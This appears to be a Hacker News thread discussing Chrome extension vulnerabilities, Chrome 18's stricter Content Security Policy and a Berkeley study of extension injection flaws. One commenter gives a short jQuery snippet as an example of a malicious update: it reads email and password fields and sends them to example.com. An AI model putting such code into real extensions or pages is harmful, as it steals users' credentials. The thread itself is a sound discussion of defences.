3 ms·

Chrome extension are probably a major source of untapped security holes. No-one really considers security when writing them and they often take arbitrary input

• capo 15y ago
  We've introduced a new manifest version attribute in the extension manifest in Chrome 18 (currently in beta). When a developer updates his or her extension to use manifest_version 2, Chrome will enforce the following CSP policy by default: script-src 'self'; object-src 'self' This policy imposes the following restrictions on extensions: Extensions can no longer use inline scripts, such as <script> ... </script>. Instead, extensions must use out-of-line scripts loaded from within their package, such as <script src="foo.js"></script>. Extensions can no longer use eval(). Note: If you’re using eval to parse JSON today, we suggest using JSON.parse instead. Extensions can load plug-ins, such as SWF files, only from within their package or from a whitelist of HTTPS hosts. http://blog.chromium.org/2012/02/more-secure-extensions-by-default.html http://blog.chromium.org/2012/02/more-secure-extensions-by-d...
  • benmccann 15y ago
    I replied to your comment below (where you said the same thing), but it's not clear to me that CSP changes anything.
    • aboodman 15y ago
      The CSP changes primarily address the XSS issue in extensions. Many of these vulnerabilities come because extension developers run code from untrusted sources. CSP blocks that in most cases. Separately, we implemented web_accessible_resources. That addresses the sniffing issues.
• Xk 15y ago
  Researchers at UC Berkeley studied this exact question. About 40% of extensions contain at least one injection vulnerability. Some really popular extensions were vulnerable -- even a couple Google authored ones. http://www.eecs.berkeley.edu/~afelt/extensionvulnerabilities.pdf http://www.eecs.berkeley.edu/~afelt/extensionvulnerabilities...
  • aboodman 15y ago
    From the same paper: Starting with Chrome 18, extensions will be subject to a CSP that enforces some of these bans [13]. Our study partially motivated their decision to adopt the bans [1], although the policy that they adopted is slightly stricter than our recommendations. The mandatory policy in Chrome 18 will ban HTTP scripts in core extensions, inline scripts, and dynamic code generation. Due to technical limitations, they are not adopting a ban on adding HTTP scripts to HTTPS websites. The policy will remove all of the core extension vulnerabilities that we found. The only extensions that the policy will permanently break are the two extensions that rely on eval. The paper is mistaken in that these changes are actually coming with the manifest_version=2 property that is optional starting with Chrome 18, not required. However, we will be slowly transitioning the ecosystem over to this version and will eventually require it.
• jQueryIsAwesome 15y ago
  I am more concern with the overconfidence of some user over their extensions/updates; a extension with many users can suddenly include something like: $('.email, input[type=password]').val(send_to_database)
  • JohnQPasserby 15y ago
    why would the attacker setting the password field be a problem
    • jQueryIsAwesome 15y ago
      function send_to_database(val){ $.getJSON('http://example.com/data.json',{data: val},function(){}) return val }
    • deleted 15y ago
      [deleted]
    • nitrogen 15y ago
      That looks like it retrieves the value of any element with the class name of .email and any password input (i.e. harvesting e-mail addresses and passwords). http://api.jquery.com/val/#val2 http://api.jquery.com/val/#val2
  • catshirt 15y ago
    fair enough, but i'm not sure i'd agree. it's much easier to detect a malicious extension than to detect a page you are about to visit is going to exploit the negligence of one of the extensions. firstly, the extension source is available meaning it's open to review and criticism. more so, the concern here is even if i am careful about the extensions i install, i am still vulnerable.
  • deleted 15y ago
    [deleted]